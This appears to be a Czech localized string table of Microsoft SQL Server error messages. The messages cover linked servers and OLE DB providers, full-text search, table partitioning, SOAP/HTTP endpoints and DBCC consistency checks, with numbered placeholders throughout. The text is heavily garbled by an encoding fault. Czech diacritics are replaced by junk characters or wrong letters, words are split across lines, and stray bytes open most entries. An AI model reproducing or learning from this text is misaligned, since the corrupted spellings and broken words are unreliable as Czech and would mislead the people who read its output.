�Nelze otevY�t index %1!s! pro tabulku %2!s! od zprostYedkovatele OLE DB %3!s!pro odkazovan� server %4!s!. %5!s!

�U tohoto dotazu nelze vynutit doporu
en� pro vzd�len� spojen�.

xPro vzd�len� zdroj dat nelze zadat indexov� doporu
en�.

�Ve vzd�len�m vol�n� mezi servery nejsou povoleny parametry s hodnotou tabulky.

4Po~adovan� operace nemohla b�t provedena, proto~e zprostYedkovatel OLE DB %1!s!pro odkazovan� server %2!s! nepodporuje po~adovan� rozhran� transakce.

Operace nemohla b�t provedena, proto~e zprostYedkovatel OLE DB %1!s!pro odkazovan� server %2!s! nemohl zah�jit distribuovanou transakci.

�Nelze spustit transakci pro zprostYedkovatele OLE DB %1!s! pro odkazovan� server %2!s!.

�ZprostYedkovatel OLE DB %1!s! pro odkazovan� server %2!s! ohl�sil chybu 0x%3!s! a pYeruail aktu�ln� transakci.

�ZprostYedkovatel OLE DB %1!s! pro odkazovan� server %2!s! ohl�sil chybu a zapsal aktu�ln� transakci.

tNelze spustit vnoYenou transakci pro zprostYedkovatele OLE DB %1!s! pro odkazovan� server %2!s!. VnoYen� transakce byla po~adov�na, proto~e mo~nost XACT_ABORT byla nastavena na OFF.

@Datov� typy varchar(max), nvarchar(max), varbinary(max) a large CLR nejsou podporov�ny v n�vratov� hodnot ani ve v�stupn�ch parametrech vzd�len�ch dotazo.

Vzd�len� funkce vr�tila hodnotu typu varchar(max), nvarchar(max), varbinary(max) nebo large CLR, kter� nejsou podporov�ny.

�ZprostYedkovatel OLE DB %1!s! pro odkazovan� server %2!s! ohl�sil chybu a zapsal aktu�ln� vlo~en�.

�ZprostYedkovatel OLE DB %1!s! pro odkazovan� server %2!s! ohl�sil chybu. %3!s!

�ZprostYedkovatel OLE DB %1!s! vr�til neplatn� Yetzec pYedpon 
i pY�pon liter�lo.

pZprostYedkovatel OLE DB %1!s! nebyl zaregistrov�n.

\Serveru se nepodaYilo na
�st model DCOM.

�Heterogenn� dotazy vy~aduj�, aby pro pYipojen� byly nastaveny mo~nosti ANSI_NULLS a ANSI_WARNINGS. To zaru
uje, ~e s�mantika dotazo bude konzistentn�. Povolte tyto mo~nosti a opakujte dotaz.

�Distribuovan� dotazy nelze spustit pomoc� integrovan�ho pYihl�aen�, proto~e u~ivatel je pYihl�aen pYes ovYov�n� syst�mu SQL Server. V pYipojovac�m Yetzci zadejte pYihlaaovac� heslo ke vzd�len�mu serveru.

�Pro zosobnn� kontext zabezpe
en� nen� vzd�len� pY�stup povolen.

`Server %1!s! nen� nakonfigurov�n pro %2!s!.

�ZprostYedkovatel OLE DB %1!s! pro odkazovan� server %2!s! vr�til zpr�vu %3!s!.

pNelze se pYipojit k odkazovan�mu serveru %1!s! (zprostYedkovatel OLE DB %2!s!). Povolte delegov�n� nebo pro aktu�ln�ho u~ivatele pou~ijte vzd�len� pYihl�aen� k syst�mu SQL Server.

�Neplatn� po
et parametro. Sada Y�dko %1!s! o
ek�v� %2!s! parametr(o).

PY�stup ad hoc ke zprostYedkovateli OLE DB %1!s! byl odepYen. K tomuto zprostYedkovateli z�sk�te pY�stup pouze pYes odkazovan� server.

�PY�stup ke vzd�len�mu serveru byl odepYen, proto~e neexistuje mapov�n� pYihlaaovac�ch jmen.

,Klauzule GROUP BY ALL nen� podporovan� v dotazech, kter� maj� pY�stup do vzd�len�ch tabulek, pokud se v dotazu vyskytuje z�roveH klauzule WHERE.

@Sloupec typu text, image nebo ntext byl pro odesl�n� do vzd�len�ho zdroje dat pY�lia velk�, co~ je d�no rozhran�m �lo~iat, kter� pou~�v� zprostYedkovatel.

�PYi ovYov�n� opo~dn�ho sch�matu doalo k chyb. Verze sch�matu odkazovan�ho serveru byla zmnna. Spusete znovu dotaz.

�Na �rovni izolace transakce %1!s! nen� povolen vzd�len� pY�stup.

�ZprostYedkovatel OLE DB %1!s! pro odkazovan� server %2!s! vr�til neplatnou definici indexu pro tabulku %3!s!.

�ZprostYedkovatel OLE DB %1!s! pro odkazovan� server %2!s! vr�til neplatnou definici typu CLR pro tabulku %3!s!.

�Mimoprocesov� pou~it� zprostYedkovatele OLE DB %1!s! se syst�mem SQL Server nen� podporov�no.

dNelze odstranit vlastnosti parametru OLE DB.

�V re~imu vl�k�nek nejsou podporov�ny heterogenn� dotazy a pou~�v�n� zprostYedkovatelo OLE DB.

ZprostYedkovatel OLE DB %1!s! pro odkazovan� server %2!s! neo
ek�van vr�til pro Yetzcov� sloupec %3!s!.%4!s! nulov� ukazatel.

�Procesor dotazo nemohl vytvoYit pl�n dotazu, proto~e pomocn� parametry FORCESEEK a FORCESCAN v tabulce nebo zobrazen� %1!s! nelze pou~�t se vzd�len�mi zdroji dat. Odeberte pomocn� parametry a odealete dotaz znovu.

�Odkazovan� servery nelze pou~�t v zosobnn� bez mapov�n� zosobnn�ho pYihl�aen�.

�32bitov�ho zprostYedkovatele OLE DB %1!s! nelze v 64bitov�m syst�mu SQL Server na
�st jako vnitroprocesorov�ho.

�Nepovedlo se na
�st po~adovan� informace o fondu %1!s! %2!s!.

�V %1!s! %2!s! nelze pou~�vat predik�ty CONTAINS a FREETEXT, proto~e nemaj� fulltextov� indexy.

�Fulltextov� operace se nezdaYila z dovodu vypraen� 
asov�ho limitu.

�Nelze naj�t fulltextov� index pro ID datab�ze %1!s!, tabulku nebo ID indexovan�ho zobrazen� %2!s!.

xVyhled�v�n� ID datab�ze %2!s!, tabulky nebo ID indexovan�ho zobrazen� %3!s! ve fulltextov�m katalogu %1!s! s podm�nkou vyhled�v�n� %4!s! bylo ne�span�. V�sledek je nezn�m� (0x%5!s!).

�V probhu operace %2!s! se vyskytla nezn�m� fulltextov� chyba (0x%1!s!).

�Bu nen� nainstalov�no fulltextov� vyhled�v�n�, nebo nelze na
�st fulltextovou komponentu.

|Bu byl odepYen pY�stup k %1!s!, nebo je cesta neplatn�.

�Index %1!s! nelze zruait, proto~e vynucuje fulltextov� kl�
 pro tabulku nebo indexovan� zobrazen� %2!s!.

�Sloupec %1!s! nelze zmnit ani zruait, proto~e je povolen pro fulltextov� vyhled�v�n�.

XPredik�ty CONTAINS a FREETEXT mohou pracovat pouze v jedn� tabulce nebo indexovan�m zobrazen�. Kvalifikujte pou~it� * pomoc� n�zvu tabulky nebo indexovan�ho zobrazen�.

�V aktu�ln� datab�zi nen� povoleno fulltextov� vyhled�v�n�. Fulltextov� vyhled�v�n� v datab�zi lze povolit pY�kazem sp_fulltext_database. Funkce pro zak�z�n� a povolen� fulltextov�ho vyhled�v�n� v datab�zi se ji~ nepou~�v�. ZmHte nastaven� aplikace.

�Bu dotaz neodkazuje na fulltextovou indexovanou tabulku nebo zobrazen�, nebo u~ivatel nem� k t�to akci opr�vnn�.

lSpuatn� fulltextov�ho dotazu se nezdaYilo. %1!s!

�PYevod fulltextov�ho hledan�ho kl�
e na datov� typ %1!s! se nezdaYil.

|Neplatn� u~it� fulltextov�ho predik�tu v klauzuli HAVING.

�Na disku nen� dost m�sta pro dokon
en� t�to operace na fulltextov�m katalogu %1!s!.

�Fulltextov� katalog %1!s! je v nepou~iteln�m stavu. Tento fulltextov� katalog zruate a znovu vytvoYte.

Fulltextov� tabulka nebo indexovan� zobrazen� m� mezi fulltextov�mi indexovan�mi sloupci v�ce ne~ jeden identifik�tor LCID.

�Argument top_n_by_rank (%1!s!) mus� b�t vta� nebo rovn� nule.

$V adres�Yi %1!s! nelze vytvoYit fulltextov� katalog pro clusterovan� server. Lze pou~�t pouze adres�Ye na disku v clusterov� skupin serveru.

Fulltextov� kl�
 registru v�choz� cesty nelze otevY�t ani se na nj dotazovat. Cesta fulltextov�ho v�choz�ho katalogu je neplatn�.

�V podm�nce fulltextov�ho vyhled�v�n� %2!s! se vyskytla chyba syntaxe v bl�zkosti %1!s!.

�Hodnota argumentu Weight mus� b�t v rozmez� od 0,0 do 1,0.

�Fulltextov� katalog %1!s! v datab�zi %2!s! neexistuje, nebo u~ivatel nem� k t�to akci opr�vnn�.

�Fulltextov� katalog s n�zvem %1!s! v t�to datab�zi ji~ existuje. Pou~ijte jin� n�zev.

hDoalo k inicializaci spr�vce fulltextov�ho proch�zen�. Vaechna proch�zen� spuatn� pYed �plnou inicializac� spr�vce proch�zen� bude tYeba restartovat. Pros�m restartujte syst�m SQL Server a opakujte pY�kaz. Pod�vejte se do protokolu chyb a opravte chyby, kter� mohly zposobit selh�n� spr�vy proch�zen�.

tFulltextov� predik�t m� hodnotu NULL nebo je pr�zdn�.

Fulltextov� predik�t odkazuje na sloupce ze dvou rozn�ch tabulek nebo indexovan�ch zobrazen� %1!s! a %2!s!, co~ nen� povoleno.

�Fulltextov� index tabulky nebo indexovan� zobrazen� %1!s! u~ byly vytvoYeny.

�%1!s! nen� platn� index k vynucen� fulltextov�ho hledan�ho kl�
e. Fulltextov� hledan� kl�
 mus� b�t jedine
n�, jednosloupcov� index, kter� nepovoluje hodnotu null a nen� v re~imu offline, nen� definov�n na nedeterministick� nebo nepYesn� netrval� po
�tan� sloupec, nem� filtr a m� velikost maxim�ln %2!s! bajto. Vyberte pro fulltextov� kl�
 jin� index.

�Nelze z�skat status naplnn� tabulky nebo indexovan�ho zobrazen� %1!s!.

�Mo~nost TYPE COLUMN mus� b�t zadan� u sloupce typu image nebo varbinary(max).

Fulltextov� index tabulky nebo indexovan� zobrazen� %1!s! nelze naplnit, proto~e datab�ze je v jednou~ivatelsk�m pY�stupov�m re~imu.

�Tabulka nebo indexovan� zobrazen� %1!s! nem� fulltextov� index nebo u~ivatel nem� k t�to akci opr�vnn�.

4Nelze aktivovat fulltextov� vyhled�v�n� tabulky nebo indexovan�ho zobrazen� %1!s!, proto~e u ~�dn�ho sloupce nebylo povoleno fulltextov� vyhled�v�n�.

Pro proveden� t�to operace je tYeba, aby bylo u tabulky nebo indexovan�ho zobrazen� %1!s! povoleno fulltextov� vyhled�v�n�.

�Mo~nost WITH NO POPULATION by nemla b�t pou~�v�na, kdy~ je povoleno sledov�n� zmn.

�PYed vypr�zdnn�m zmn je tYeba u tabulky nebo indexovan�ho zobrazen� %1!s! spustit fulltextov� sledov�n� zmn.

dJe tYeba spustit �pln� proch�zen� tabulky nebo indexovan�ho zobrazen� %1!s!. Od minul�ho �pln�ho naplnn� indexo byly pYid�ny nebo zruaeny sloupce, kter� maj� vliv na index.

`U~ivatel nem� opr�vnn� prov�st tuto akci.

�Fulltextov� katalog %1!s! nelze zruait, proto~e obsahuje fulltextov� index.

`Sloupec %1!s! nejde pou~�t k fulltextov�mu vyhled�v�n�, proto~e se nejedn� o znakov� sloupec ani o sloupec typu XML, image nebo varbinary(max) nebo proto, ~e je aifrovan�.

4Sloupec %1!s! nelze pou~�t jako sloupec fulltextov�ho typu pro sloupec typu image. Je tYeba znakov� sloupec, kter� m� velikost %2!s! nebo m�n znako.

�Pro tabulku nebo indexovan� zobrazen� nelze vytvoYit fulltextov� index, proto~e byl zad�n duplicitn� sloupec %1!s!.

`Sloupec %1!s! nen� fulltextov indexovan�.

�N�sleduj�c� Yetzec nen� definov�n v tabulce syslanguages jako alias jazyka: %1!s!.

�Jazyk fulltextov�ho indexu sloupce %1!s! nen� podporov�n fulltextov�m vyhled�v�n�m.

�V�choz� jazyk fulltextov�ho indexu nen� podporov�n fulltextov�m vyhled�v�n�m.

Bhem naplHov�n� fulltextov�ho indexu pro tabulku nebo indexovan� zobrazen� %1!s! datab�ze %2!s! (ID tabulky nebo indexovan�ho zobrazen� %3!s!, ID datab�ze %4!s!) byly zjiatny chyby. Dala� podrobnosti naleznete v protokolech fulltextov�ho proch�zen�.

lSpuatn� fulltextov� operace se nezdaYilo. %1!s!

�Fulltextov� operace se nezdaYila, proto~e datab�ze je jen pro 
ten�.

HPY�stup k cest protokolu fulltextu byl odepYen. Protokolov�n� fulltextu pro datab�zi %1!s!, katalog %2!s! (ID datab�ze %3!s!, ID katalogu %4!s!) je zak�z�no.

�Cesta fulltextov�ho katalogu %1!s! pYekro
ila maxim�ln� po
et znako %2!s!.

�Inicializaci fulltextu se nepodaYilo vytvoYit spr�vce pamti.

�NepodaYilo se pozastavit katalog za �
elem z�lohov�n�. Z�lohov�n� bylo pYeruaeno.

@Bylo zad�no neplatn� ID n�rodn�ho prostYed�. Zkontrolujte, zda je ID n�rodn�ho prostYed� spr�vn� a zda byly nainstalov�ny prostYedky odpov�daj�c�ho jazyka.

�Klauzuli GROUP BY ALL nelze pou~�t v dotazech fulltextov�ho vyhled�v�n�.

�Mo~nost TYPE COLUMN nen� povolena pro jin� typy sloupco ne~ image a varbinary(max).

�PYi definici funkce odd�lu nen� povolen pr�zdn� seznam typo parametro funkce odd�lu.

|Nelze vytvoYit funkci odd�lu RANGE s v�ce typy parametro.

XTyp %1!s! nen� platn� pro tuto operaci.

�Typ hodnot rozsahu zadan� na poYadov�m m�st %1!s! nelze implicitn pYev�st na typ parametru funkce odd�lu.

�Funkce odd�lu %1!s! je pou~�v�na jedn�m nebo v�ce sch�maty odd�lu.

�PYidru~en� funkce odd�lu %1!s! vytv�Y� v�ce odd�lo, ne~ je skupin souboro uveden�ch ve sch�matu %2!s!.

PDuplicitn� hodnoty hranice rozsahu nejsou v seznamu hodnot hranice funkce odd�lu povoleny. Hodnoty hranice odd�lu na poYadov�ch m�stech %1!s! a %2!s! jsou stejn�.

Mo~nost %1!s! se zadala v�c ne~ jednou pro tabulku, nebo pro minim�ln jeden z jej�ch odd�lo, pokud je tabulka rozdlen� na odd�ly.

DChyb� hodnota rozsahu odd�lu.

hZadan� hodnota rozsahu odd�lu nebyla nalezena.

�Funkci odd�lu nelze vytvoYit ani zmnit tak, aby mla nulov� po
et odd�lo.

�Sch�ma odd�lu %1!s! je nyn� pou~�v�no k vytvoYen� odd�lo minim�ln v jedn� tabulce.

�Hodnotu rozsahu odd�lu nelze zadat pYi dlen� podle algoritmu hash.

�Proveden� funkce odd�lu CREATE/ALTER se nezdaYilo, proto~e lze vytvoYit maxim�ln %1!s! odd�lo.

,PYi pYevodu hodnot rozsahu na typ parametru funkce odd�lu doalo ke zkr�cen� dat. Hodnota rozsahu na poYadov�m m�st %1!s! vy~aduje zkr�cen� dat.

xDuplicitn� hodnoty hranice rozsahu nejsou v seznamu hodnot hranice funkce odd�lu povoleny. PYid�van� hodnota hranice je ji~ pY�tomna na poYadov�m m�st %1!s! v seznamu hodnot hranice.

�Bylo zad�no neplatn� 
�slo odd�lu %1!s! pro %2!s! %3!s!. �slo odd�lu mus� b�t v rozsahu od 1 do %4!s!.

�PYi vytv�Yen� sch�matu odd�lu pomoc� mo~nosti ALL pro zad�n� vaech skupin souboro lze zadat pouze jednu skupinu souboro.

�Po
�tan� sloupec nelze pou~�t jako kl�
 odd�lu, nen�-li trval�. Sloupec kl�
e odd�lu %1!s! v tabulce %2!s! nen� trval�.

XPY�kaz funkce ALTER PARTITION se nezdaYil. Rozdlen� tabulky %1!s! na odd�ly nelze zmnit zmnou funkce odd�lu %2!s!, proto~e je zak�z�n jej� clusterovan� index %3!s!.

�Sloupec odd�lu %1!s! m� datov� typ %2!s!, kter� se lia� od datov�ho typu %4!s! parametru funkce odd�lu %3!s!.

�Kolace sloupce odd�lu %1!s! se neshoduje s kolac� odpov�daj�c�ho parametru ve funkci odd�lu %2!s!.

�Neplatn� rozsah odd�lu: %1!s! TO %2!s!. Doln� hranice nesm� b�t vta� ne~ horn� hranice.

�V pY�kazu %1!s! %2!s! nelze zadat 
�slo odd�lu, proto~e tabulka %3!s! %4!s! nen� rozdlena na odd�ly.

�PY�kaz ALTER %1!s! se nezdaYil, proto~e 
�slo odd�lu %2!s! v tabulce %3!s! %4!s! neexistuje.

�V pY�kazu ALTER %1!s! nelze zadat 
�slo odd�lu k optovn�mu sestaven� nebo zmn uspoY�d�n� odd�lu tabulky %2!s! %3!s!.

LV pY�kazu ALTER INDEX nelze zadat 
�slo odd�lu sou
asn s kl�
ov�m slovem ALL pro optovn� sestaven� odd�lo tabulky %1!s!, nem�-li tabulka ~�dn� oby
ejn� indexy.

�PY�kaz %1!s! se nezdaYil. Tabulka %2!s! %3!s! je rozdlena na odd�ly, zat�mco %4!s! %5!s! rozdlena na odd�ly nen�.

XV pY�kazu ALTER %1!s! nelze zadat 
�slo odd�lu k optovn�mu sestaven� nebo zmn uspoY�d�n� odd�lu tabulky %2!s! %3!s!, proto~e tabulka %4!s! nen� rozdlena na odd�ly.

$Funkci odd�lu lze vytvoYit pouze v edici Enterprise syst�mu SQL Server. Dlen� na odd�ly podporuje pouze edice Enterprise syst�mu SQL Server.

�Skupina souboro %1!s! je jin�ho typu skupiny souboro ne~ prvn� skupina souboro ve sch�matu odd�lu %2!s!.

�Pro objekt %1!s! nelze povolit kompresi. Kompresi podporuje pouze syst�m SQL Server Enterprise Edition.

�Sch�ma odd�lo tabulky %1!s! nejde zmnit, proto~e pro tabulku existuje minim�ln jedna pY�rostkov� statistika.

hBylo zmnno ID odd�lu pro alespoH jeden Y�dek.

XPo~adovan� parametr %1!s! nebyl zad�n.

�Funkce, kter� maj� n�vratov� typ %1!s!, nejsou vol�n�m SOAP podporov�ny.

dKlauzuli %1!s! nelze pou~�t v pY�kazu %2!s!.

d%1!s! a %2!s! nemohou sd�let stejnou hodnotu.

Parametr SITE nemo~e za
�nat Yetzcem sch�matu, napY. http://. Platn� hodnoty pro parametr SITE zahrnuj� {"*" | "+" | "site_name"}.

Adresa URL zadan� koncov�m bodem %1!s! je ji~ zaregistrov�na k pYij�m�n� ~�dost� nebo je rezervov�na k pou~it� jinou slu~bou.

�PYi pokusu zaregistrovat koncov� bod %2!s! doalo k chyb (0x%1!s!).

tHodnota %1!s! nen� uvnitY rozsahu pro parametr %2!s!.

|Dotazy COMPUTE BY nejsou pYes protokol SOAP podporov�ny.

�Parametr PATH je nutno zadat v kanonick�m tvaru. PYijateln� parametr PATH je %1!s!.

TByl zad�n duplicitn� parametr %1!s!.

�Vstupn� data zak�dovan� ve form�tu Base64 byla v nespr�vn�m form�tu pro parametr %1!s!.

�}�dost pYekra
uje vnitYn� limit. Zjednoduate nebo zmenaete velikost ~�dosti.

�Objekt metody SOAP %1!s! mus� b�t zad�n pomoc� pln kvalifikovan�ho trojd�ln�ho n�zvu.

�Obory n�zvo SOAP za
�naj�c� %1!s! nejsou povoleny, proto~e jsou rezervov�ny pro pou~it� syst�mem.

�V elementu %3!s! (v oboru n�zvo %4!s!) ~�dosti SOAP byl nalezen neo
ek�van� uzel XML %1!s! (v oboru n�zvo %2!s!).

�V elementu %3!s! (v oboru n�zvo %4!s!) ~�dosti SOAP byl o
ek�v�n element XML %1!s! (v oboru n�zvo %2!s!).

�Element XML %1!s! (v oboru n�zvo %2!s!) byl o
ek�v�n jako nejvyaa� uzel ~�dosti SOAP.

�V elementu %1!s! (v oboru n�zvo %2!s!) ~�dosti SOAP byl o
ek�v�n element metody SOAP.

�V elementu %1!s! (v oboru n�zvo %2!s!) ~�dosti SOAP byla nalezena neo
ek�van� textov� data.

�U~ivatel nem� opr�vnn� k rezervaci a ke zruaen� rezervace oboro n�zvo HTTP.

�PY�kaz nen� v t�to verzi opera
n�ho syst�mu podporov�n. V cest nelze nal�zt knihovnu Httpapi.dll.

�PY�kaz nen� v t�to verzi opera
n�ho syst�mu podporov�n. V knihovn Httpapi.dll nelze nal�zt vstupn� bod funkce %1!s!.

�Operaci nelze dokon
it, proto~e doalo k neo
ek�van� chyb.

|Rezervace pro tento obor n�zvo HTTP (%1!s!) ji~ existuje.

xRezervace pro tento obor n�zvo HTTP (%1!s!) neexistuje.

�Obor n�zvo HTTP (%1!s!) je v neplatn�m tvaru. Zadejte obor n�zvo v jeho kanonick�m tvaru.

dKoncov� bod %1!s! byl zak�z�n, proto~e je nakonfigurov�n nezabezpe
en�m zposobem. Dala� informace z�sk�te, pokus�te-li se spustit koncov� bod pomoc� pY�kazu ALTER ENDPOINT.

�PYi 
ten� vstupn�ho datov�ho proudu ze s�t doalo k z�va~n� chyb. Byl pYekro
en maxim�ln� po
et s�eov�ch paketo v jedn� ~�dosti. Zkuste pou~�t hromadn� vlo~en�, zvtait velikost s�eov�ch paketo nebo sn�~it velikost ~�dosti. Relace bude ukon
ena.

�V parametru %1!s! byla nalezena data XML, pYesto~e tento parametr nen� typu XML. PYevete v tomto parametru vaechna neplatn� textov� data XML na entity nebo parametr pYedejte jako parametr typu XSD:anyType nebo sqltypes:xml.

�V parametru %1!s! bylo zad�no neplatn� nebo nepodporovan� ID n�rodn�ho prostYed� localeId.

�Pro parametr %1!s! byly zad�ny neplatn� hodnoty mo~nost� sqlCompareOptions.

��
et slu~by SQL Server Service nem� opr�vnn� k registraci zadan� adresy URL pro koncov� bod %1!s!. Pou~ijte ulo~enou proceduru sp_reserve_http_obor_n�zvo k v�slovn� rezervaci oboru n�zvo URL, ne~ se znovu pokus�te zaregistrovat tuto adresu URL.

�Atribut %1!s! mus� b�t zad�n pro element %2!s! parametru %3!s!, proto~e je typu %4!s!.

Parametr %1!s!: Pokud se atribut %2!s! vyskytne pro uzel hodnoty parametru typu %3!s! (v oboru n�zvo %4!s!), mus� odkazovat na typ CLR.

�Adresa URL zadan� jako cesta (%1!s!) nen� v absolutn�m form�tu a mus� za
�nat Yetzcem %2!s!.

xHodnota URL zadan� pro parametr %1!s! je pY�lia dlouh�.

tten� ze vstupn�ho datov�ho proudu HTTP se nezdaYilo.

�Parametry XML podporuj� elementy a hodnoty atributo pouze v k�du Unicode.

�Parametr %1!s!: Parametry funkce nebo procedury s nespr�vn form�tovan�mi nebo neschv�len�mi n�zvy nejsou podporov�ny prostYednictv�m nativn�ho pY�stupu SOAP. Pravidla t�kaj�c� se spr�vn�ch n�zvo parametro naleznete v dokumentaci.

Element XML %1!s! (v oboru n�zvo %2!s!) v elementu %3!s! (v oboru n�zvo %4!s!) ~�dosti SOAP obsahoval neplatn� bin�rn� typ.

�Parametr %1!s!: Kolaci parametru nelze zadat pro uzel %2!s! (v oboru n�zvo %3!s!).

TPYenos nebo obsah koncov�ho bodu nelze zmnit pY�kazem ALTER ENDPOINT. Pou~ijte pY�kaz DROP ENDPOINT a spusete pY�kaz CREATE ENDPOINT, chcete-li tyto zmny prov�st.

pKoncov� body %1!s! mohou b�t pouze typu FOR %2!s!.

�Koncov� bod po~adovan�ho typu ji~ existuje. Je podporov�n pouze jeden koncov� bod tohoto typu. Pou~ijte pY�kazy ALTER ENDPOINT nebo DROP pro existuj�c� koncov� bod a spusete pY�kaz CREATE ENDPOINT.

�Koncov� bod nebyl zmnn. PY�kaz ALTER ENDPOINT neobsahoval ~�dn� hodnoty pro zmnu nebo aktualizaci.

|PY�kaz CREATE/ALTER ENDPOINT nelze pou~�t k aktualizaci koncov�ho bodu pomoc� t�to informace. Koncov� bod DAC (Dedicated Administrator Connection) je rezervov�n a nelze ho aktualizovat.

8Generov�n� pomoc� jazyka WSDL (Web Services Description Language) se nezdaYilo, proto~e se syst�mu nepodaYilo z�skat dotazem metadata pro koncov� bod.

�Hodnoty elementu a atributu XML vta� ne~ 4000 znako jsou povoleny pouze uvnitY uzlu SOAP Body.

�Pro parametr %1!s! byla zad�na neplatn� hodnota sqlCollationVersion.

�Pro parametr %1!s! byla zad�na neplatn� hodnota sqlSortId.

�N�zev koncov�ho bodu %1!s! je rezervov�n pro pou~it� jazykem SQL. Koncov� body nemohou za
�nat %2!s!.

�Klauzule AFFINITY nen� pro tento typ koncov�ch bodo podporov�na.

|Klauzule %1!s! nen� platn� pro tento typ koncov�ho bodu.

�%1!s! nen� parametr pro proceduru %2!s! nebo byl zad�n nespr�vn.

xKoncov� bod %1!s! je vestavn�m koncov�m bodem a nelze ho vyYadit. K pYid�n� nebo vyYazen� koncov�ch bodo Transact-SQL pY�kazy ADD a DROP pou~ijte n�stroje pro konfiguraci protokolu.

�Koncov� bod se zadan�mi vazbami ji~ existuje. Pro konkr�tn� vazbu je podporov�n pouze jeden koncov� bod. Pou~ijte pY�kazy ALTER ENDPOINT nebo DROP pro existuj�c� koncov� bod a spusete pY�kaz CREATE ENDPOINT.

�V textov�ch datech elementu %1!s! (v oboru n�zvo %2!s!) ~�dosti SOAP byla nalezena neo
ek�van� konstrukce XML.

�PY�kaz %1!s! ENDPOINT nen� v t�to edici syst�mu SQL Server podporov�n.

�Pro parametr %1!s!, kter� nen� podporov�n pro metodu WEBMETHOD s hodnotou FORMAT=NONE, byl po~adov�n v�stup OUTPUT.

�U~ivatelsky definovan� funkce nelze pou~�t pro metodu WEBMETHOD s hodnotou FORMAT=NONE.

�Poruaen� datov�ho proudu protokolu TDS (Tabular Data Stream). Toto je nej
astji zposobeno pYedchoz� v�jimkou v t�to �loze. Posledn� v�jimka v t�to �loze byla chyba %1!s! se z�va~nost� %2!s!, adresou 0x%3!s!. PYipojen� bude ukon
eno.

�PYi odes�l�n� dat klientovi pro ID procesu %2!s! a ID d�vky %3!s! nastala s�eov� chyba 0x%1!s!. B~nou pY�
inou t�to chyby je, ~e se klient odpoj� bez pYe
ten� cel� odpovdi ze serveru. PYipojen� bude ukon
eno.

pOperace 
ten� pro velk� objekt se nezdaYila pYi odes�l�n� dat klientovi. B~nou pY�
inou b�v�, ~e je aplikace spuatna s �rovni izolace READ UNCOMMITTED. PYipojen� bude ukon
eno.

�Zadan� adresa IPv6 nen� podporov�na. Pro naslouch�n� jsou podporov�ny pouze adresy v 
�seln�m, kanonick�m tvaru.

DZadan� adresa IPv6 nen� podporov�na. Server mo~n� nen� nakonfigurov�n, aby umo~nil pYipojen� protokolem IPv6, nebo adresa nen� v rozpozn�van�m form�tu IPv6.

PHlavi
ky SOAP pro tuto ~�dost pYekro
ily limity velikosti stanoven� pro tento koncov� bod. Vlastn�k koncov�ho bodu mo~e tyto limity zv�ait pY�kazem ALTER ENDPOINT.

TPYi pokusu zaregistrovat koncov� bod %1!s! doalo k chyb. Jeden nebo v�ce porto zadan�ch v pY�kazu CREATE ENDPOINT mo~e b�t sv�z�n s jin�m procesem. Pokuste se zadat pY�kaz znovu s jin�m portem nebo pomoc� pY�kazu netstat zjistte, jak� aplikace aktu�ln vyu~�v� dan� port, a vyYeate konflikt.

�Specifikace DTD vnitYn� podmno~iny nejsou uvnitY ~�dost� SOAP povoleny.

xParametr %1!s!: Byly pY�tomny nekompatibiln� atributy XML. Atribut %2!s! a atribut %3!s! nemohou b�t sou
asn oba pY�tomny pro uzel hodnoty parametru typu %4!s! (v oboru n�zvo %5!s!).

,Naslouch�n� nebylo zah�jeno pro koncov� bod %1!s! nalezen� v metadatech. Operace koncov�ho bodu nejsou v t�to edici syst�mu SQL Server povoleny.

�Vlastn� ulo~enou proceduru v jazyce WSDL pro koncov� bod mo~e zadat pouze spr�vce syst�mu.

dSloupec nebo parametr %1!s! pou~�v� datov� typ nepodporovan� protokolem SOAP. Protokol SOAP podporuje pouze datov� typy podporovan� syst�mem SQL Server 2005 nebo dY�vja�m.

PN�vratov� hodnota pou~�v� datov� typ nepodporovan� protokolem SOAP. Protokol SOAP podporuje pouze datov� typy podporovan� syst�mem SQL Server 2005 nebo dY�vja�m.

�PY�kaz k oprav nebyl zpracov�n. Tato �roveH opravy nen� podporov�na, je-li datab�ze v nouzov�m re~imu.

�Index columnstore %1!s! v tabulce %2!s! m� neshodu metadat pro ID sloupce %3!s! a ID skupiny Y�dko %4!s!. Pokud je index columnstore neclusterovan�, zahote ho a vytvoYte znovu. Jinak kontaktujte CSS.

hChyba tabulky: Osamocen� soubor %1!s! byl nalezen v adres�Yi FILESTREAM ID %2!s!, ID kontejneru %3!s! pro ID objektu %4!s!, ID indexu %5!s!, ID odd�lu %6!s!, ID sloupce %7!s!.

�Chyba tabulky: Nelze nal�zt soubor FILESTREAM %1!s! pro ID sloupce %2!s! (ID adres�Ye sloupce %3!s!, ID kontejneru %4!s!) v objektu ID %5!s!, ID indexu %6!s!, ID odd�lu %7!s!, ID str�nky %8!s!, ID pozice %9!s!.

�Chyba datab�ze: Adres�Y %1!s! nen� platn�m adres�Yem FILESTREAM v ID kontejneru %2!s!.

�Chyba datab�ze: Soubor %1!s! nen� platn�m souborem FILESTREAM v ID kontejneru %2!s!.

�Chyba tabulky: Adres�Y %1!s! v ID adres�Ye sady Y�dko %2!s! nen� platn�m adres�Yem FILESTREAM v ID kontejneru %3!s!.

�Chyba tabulky: Soubor %1!s! v ID adres�Ye sady Y�dko %2!s! nen� platn�m souborem FILESTREAM v ID kontejneru %3!s!.

�Oprava pomoc� nouzov�ho re~imu se nezdaYila. Je tYeba obnovit datab�zi ze z�lohy.

�PY�kaz k oprav nebyl zpracov�n. Datab�ze mus� b�t v jednou~ivatelsk�m re~imu.

�PY�kaz k oprav nebyl zpracov�n. Nelze vytvoYit sn�mek datab�ze.

�***************************************************************

�PY�kaz CHECK byl pYeruaen. Datab�zi nejde zkontrolovat, proto~e nejde vytvoYit sn�mek datab�ze a datab�zi nebo tabulku nejde zamknout. Podrobnosti o tom, kdy je toto chov�n� o
ek�v�no a jak� existuje alternativn� Yeaen�, najdete v 
l�nku 928518 znalostn� b�ze Knowledge. Dala� podrobnosti najdete tak� v pYedchoz�ch chyb�ch.

Sn�mek datab�ze pro online kontroly nelze vytvoYit. PY�
ina je zposobena pYedchoz� chybou nebo jeden z podkladov�ch svazko nepodporuje zhuatn� soubory nebo alternativn� datov� proudy. Prob�h� pokus o z�sk�n� v�hradn�ho pY�stupu pro spuatn� kontrol offline.

�PY�kaz CHECK byl pYeruaen. Datab�ze obsahuje odlo~en� transakce.

�Pro tento pY�kaz DBCC mus� b�t z datab�ze odebr�no zrcadlen�.

�Chyba datab�ze: ID adres�Ye FILESTREAM %1!s! pro odd�l bylo nalezeno dvakr�t.

